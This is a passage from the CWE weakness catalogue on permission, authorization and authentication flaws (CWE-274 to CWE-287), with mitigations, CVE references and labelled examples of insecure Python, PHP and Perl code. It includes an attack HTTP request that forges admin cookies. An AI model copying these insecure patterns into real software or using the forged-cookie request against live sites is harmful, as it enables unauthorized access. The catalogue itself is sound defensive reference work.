The call to `ImpersonateNamedPipeClient` may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

**Observed Examples**

Reference	Description
<b>CVE-2006-4447</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4447</a>
<b>CVE-2006-2916</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2916</a>

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	901	SFP Primary Cluster: Privilege	888	1613

## Notes

### Relationship

Overlaps dropped privileges, insufficient permissions.

### Relationship

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

### Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

### Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient privileges

## CWE-276: Incorrect Default Permissions

<b>Weakness ID</b> : 276	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software, upon installation, sets incorrect permissions for an object that exposes it to an unintended actor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1621

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure inherited permissions

## CWE-278: Insecure Preserved Inherited Permissions

<b>Weakness ID</b> : 278	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1282

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	1542

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Observed Examples

Reference	Description
<b>CVE-2005-1724</b>	Does not obey specified permissions when exporting. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1724">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1724</a>

## CWE-280: Improper Handling of Insufficient Permissions or Privileges

**Weakness ID** : 280

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	1542

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

#### Phase: Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

### Observed Examples

Reference	Description
<b>CVE-2003-0501</b>	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0501">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0501</a>
<b>CVE-2004-0148</b>	FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0148">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0148</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	1627

### Notes

## Relationship

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

## Maintenance

CWE-280 and CWE-274 are too similar.

## Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

## Research Gap

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Fails poorly due to insufficient permissions
WASC	17		Improper Filesystem Permissions
Software Fault Patterns	SFP4		Unchecked Status Condition

## CWE-281: Improper Preservation of Permissions

**Weakness ID** : 281

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf		840	Business Logic Errors	1588
ParentOf		283	Unverified Ownership	587
ParentOf		708	Incorrect Ownership Assignment	1279

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Observed Examples

Reference	Description
<b>CVE-1999-1125</b>	Program runs setuid root but relies on a configuration file owned by a non-root user. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1125">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1125</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		944	SFP Secondary Cluster: Access Management	888	1620

### Notes

#### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to

two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Ownership errors

### Related Attack Patterns

MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		282	Improper Ownership Management	585

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>An attacker could gain unauthorized access to system resources</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Demonstrative Examples

#### Example 1:

This function is part of a privileged program that takes input from users with potentially lower privileges.

*Example Language: Python*

*(bad)*

```
def killProcess(processID):os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

*Example Language: Python*

*(good)*

```
def killProcess(processID): user = getCurrentUser() #Check process owner against requesting user if
getProcessOwner(processID) == user:os.kill(processID, signal.SIGKILL)return else:print("You cannot kill a process you
don't own")return
```

### Observed Examples

Reference	Description
<b>CVE-2001-0178</b>	Program does not verify the owner of a UNIX socket that is used for sending a password. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0178">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0178</a>
<b>CVE-2004-2012</b>	Owner of special device not checked, allowing root. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2012">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2012</a>

### MemberOf Relationships

### Notes

#### Relationship

This overlaps insufficient comparison, verification errors, permissions, and privileges.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unverified Ownership

## CWE-284: Improper Access Control

<b>Weakness ID</b> : 284	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

### Extended Description

Access control involves the use of several protection mechanisms such as: Authentication (proving the identity of an actor) Authorization (ensuring that a given actor can access a resource), and Accountability (tracking of activities that were performed) When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc. There are two distinct behaviors that can introduce access control weaknesses: Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator. Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

ParentOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1494
ParentOf		942	Overly Permissive Cross-domain Whitelist	1509

### Alternate Terms

**Authorization** : The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

### Observed Examples

## CWE-285: Improper Authorization

<b>Weakness ID</b> : 285	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

## Description

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

## Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource. When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Applicable Platforms**

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

**Background Details**

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

**Alternate Terms**

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

**Likelihood Of Exploit**

High

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity  <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.</i>	

## Detection Methods

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

*Effectiveness = Limited*

### Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### **Phase: Architecture and Design**

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

### **Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

### **Phase: Architecture and Design**

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or

information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

**Phase: System Configuration**

**Phase: Installation**

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

**Demonstrative Examples**

**Example 1:**

This function runs an arbitrary SQL query on a given database, returning the result of the query.

*Example Language: PHP*

*(bad)*

```
function runEmployeeQuery($dbName, $name){mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName); //Use a prepared statement to avoid CWE-89 $preparedStatement = $globalDbHandle->prepare("SELECT * FROM employees WHERE name = :name");$preparedStatement->execute(array(':name' => $name));return $preparedStatement->fetchAll();} ../ $employeeRecord = runEmployeeQuery('EmployeeDB', $_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

**Example 2:**

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the \$id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

*Example Language: Perl*

*(bad)*

```
sub DisplayPrivateMessage {my($id) = @_;my $Message = LookupMessageObject($id);print "From: " . encodeHTML($Message->{from}) . "<br>\n";print "Subject: " . encodeHTML($Message->{subject}) . "\n";print "<hr>\n";print "Body: " . encodeHTML($Message->{body}) . "\n";} my $q = new CGI; # For purposes of this example, assume that CWE-309 and # CWE-523 do not apply. if (! AuthenticateUser($q->param('username'), $q->param('password'))){ExitError("invalid username or password");} my $id = $q->param('id');DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

**Observed Examples**

Reference	Description
<b>CVE-2009-3168</b>	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168</a>
<b>CVE-2009-2960</b>	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960</a>

Reference	Description
<b>CVE-2009-3597</b>	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597</a>
<b>CVE-2009-2282</b>	Terminal server does not check authorization for guest access. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282</a>
<b>CVE-2009-3230</b>	Database server does not use appropriate privileges for certain sensitive operations. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230</a>
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123</a>
<b>CVE-2008-5027</b>	System monitoring software allows users to bypass authorization by creating custom forms. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424</a>
<b>CVE-2009-3781</b>	Content management system does not check access permissions for private files, allowing others to view those files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577</a>
<b>CVE-2008-6548</b>	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548</a>
<b>CVE-2007-2925</b>	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679</a>
<b>CVE-2005-3623</b>	OS kernel does not check for a certain privilege before setting ACLs for files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155</a>

## CWE-286: Incorrect User Management

**Weakness ID** : 286

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The software does not properly manage a user within its environment.

### Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	589
ParentOf		842	Placement of User into Incorrect Group	1455

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	1651

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	589
ParentOf		842	Placement of User into Incorrect Group	1455

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		944	SFP Secondary Cluster: Access Management	888	1620

### Notes

#### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

#### Maintenance

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			User management errors

## CWE-287: Improper Authentication

<b>Weakness ID</b> : 287	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

## **Potential Mitigations**

## Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

### Demonstrative Examples

#### Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

Example Language: Perl

(bad)

```
my $q = new CGI; if ($q->cookie('loggedin') ne "true") { if (! AuthenticateUser($q->param('username'), $q->param('password'))) {ExitError("Error: you need to log in first");}else { # Set loggedin and user cookies.$q->cookie(-name => 'loggedin',-value => 'true'); $q->cookie(-name => 'user',-value => $q->param('username')); } } if ($q->cookie('user') eq "Administrator") {DoAdministratorTasks();}
```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Example Language:

(attack)

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1Cookie: user=AdministratorCookie: loggedin=true [body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

#### Example 2:

